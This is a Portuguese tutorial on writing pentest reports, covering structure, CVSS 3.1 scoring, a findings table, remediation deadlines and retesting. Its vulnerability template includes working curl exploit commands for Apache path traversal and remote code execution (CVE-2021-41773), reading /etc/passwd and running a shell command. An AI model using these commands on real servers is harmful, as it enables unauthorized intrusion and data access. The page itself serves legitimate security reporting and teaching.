Avançado Pentest e Ofensiva
Relatório de pentest — estrutura, CVSS, reprodução, remediação, executivo
O relatório é o produto final de um pentest. Um engajamento tecnicamente impecável perde valor se o relatório for vago. O objetivo: permitir que qualquer engenheiro reproduza e remedie a vulnerabilidade sem precisar perguntar nada.
Estrutura do relatório
1. Capa e metadados
- Nome do cliente, data, versão do documento
- Pentester(s), empresa contratada
- Classificação: CONFIDENCIAL
2. Sumário executivo
- 1 página, linguagem de negócio, sem jargão técnico
- Risco geral (Crítico / Alto / Médio / Baixo)
- 3-5 pontos principais
3. Escopo e metodologia
- IPs, domínios, sistemas testados
- Janela de tempo, tipo de teste (black/grey/white box)
- Ferramentas utilizadas
4. Resumo de vulnerabilidades (tabela)
- ID, Título, Severidade, CVSS, Sistema afetado, Status
5. Vulnerabilidades — seção detalhada (uma por achado)
6. Recomendações — lista consolidada por prioridade
7. Apêndices
- Saída raw de ferramentas
- Evidências adicionais
- Glossário
Sumário executivo — exemplo
Durante o período de 10 a 14 de junho de 2024, a [Empresa X] conduziu um
teste de invasão na infraestrutura web da [Cliente Y], abrangendo 12 sistemas
na DMZ.
Foram identificadas 18 vulnerabilidades: 3 Críticas, 4 Altas, 7 Médias e
4 Informacionais.
As vulnerabilidades críticas permitem que um atacante externo obtenha acesso
administrativo completo aos servidores web e, a partir daí, acesse a base
de dados de clientes (PII). Recomenda-se correção imediata antes de qualquer
novo deploy em produção.
Classificação CVSS 3.1
CVSS = Common Vulnerability Scoring System
Escala: 0.0 a 10.0
Faixas:
Crítico 9.0 – 10.0
Alto 7.0 – 8.9
Médio 4.0 – 6.9
Baixo 0.1 – 3.9
Info 0.0
Componentes do vetor:
AV (Attack Vector): N=Network, A=Adjacent, L=Local, P=Physical
AC (Attack Complexity): L=Low, H=High
PR (Privileges Required): N=None, L=Low, H=High
UI (User Interaction): N=None, R=Required
S (Scope): U=Unchanged, C=Changed
C/I/A (Confidentiality/Integrity/Availability): N/L/H
Exemplo:
CVE-2021-41773 (Apache Path Traversal + RCE)
CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → Score: 9.8 (Crítico)
Seção de vulnerabilidade — template
ID: VULN-001
Título: Execução Remota de Código no Apache 2.4.49 (CVE-2021-41773)
Severidade: Crítico
CVSS Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Sistema: webserver01.example.com (192.168.1.50)
DESCRIÇÃO
O Apache HTTP Server versão 2.4.49 contém uma falha de normalização de
caminho que permite a um atacante não autenticado escapar do diretório
raiz (path traversal) e executar scripts CGI arbitrários.
IMPACTO
Acesso completo ao sistema operacional com as permissões do processo Apache
(www-data). Leitura de arquivos sensíveis e execução de comandos remotos.
REPRODUÇÃO (passo a passo)
1. Identificar servidor Apache 2.4.49:
curl -I http://192.168.1.50
2. Verificar módulo CGI habilitado:
curl http://192.168.1.50/cgi-bin/test.cgi
3. Explorar path traversal:
curl "http://192.168.1.50/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
4. Executar comando remoto:
curl -d "echo Content-Type: text/plain; echo; id" \
"http://192.168.1.50/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh"
EVIDÊNCIA
Screenshot: [anexo01_rce_apache.png]
Output obtido:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
REMEDIAÇÃO
Imediata:
Atualizar para Apache 2.4.51 ou superior.
Se atualização não for possível, desabilitar o módulo CGI.
Adicional:
Implementar WAF com regras de path traversal.
Remover módulos desnecessários (mod_cgi, mod_cgid).
Executar Apache com usuário dedicado e chroot.
REFERÊNCIAS
CVE-2021-41773
https://httpd.apache.org/security/vulnerabilities_24.html
Tabela de vulnerabilidades — exemplo
| ID | Título | Severidade | CVSS | Sistema |
|----------|--------------------------------|------------|------|----------------|
| VULN-001 | RCE Apache 2.4.49 | Crítico | 9.8 | webserver01 |
| VULN-002 | SQL Injection no /api/search | Crítico | 9.1 | api.example.com|
| VULN-003 | Credenciais padrão FTP | Alto | 7.5 | ftp.example.com|
| VULN-004 | SNMP community "public" | Médio | 5.3 | router01 |
| VULN-005 | Header X-Frame-Options ausente | Baixo | 3.1 | todos |
Recomendações — prioridade e prazo
Prioritário (remediar em até 24h):
1. Atualizar Apache para 2.4.51+
2. Corrigir SQL Injection no endpoint /api/search (sanitizar inputs, usar prepared statements)
Curto prazo (até 7 dias):
3. Alterar credenciais padrão do FTP
4. Desabilitar SNMP v1/v2 ou restringir community string
Médio prazo (até 30 dias):
5. Implementar cabeçalhos de segurança HTTP em todos os serviços
6. Revisar política de senhas e habilitar MFA
Reteste (retest)
Após remediação, o cliente solicita reteste para validar as correções.
Relatório de reteste inclui:
- Data do reteste
- Quais vulnerabilidades foram corrigidas (confirmado)
- Quais permanecem abertas (com nova evidência)
- Novas vulnerabilidades introduzidas durante o fix (raro mas acontece)
Um relatório bem escrito é o que justifica o investimento no pentest e guia a equipe técnica até a correção completa.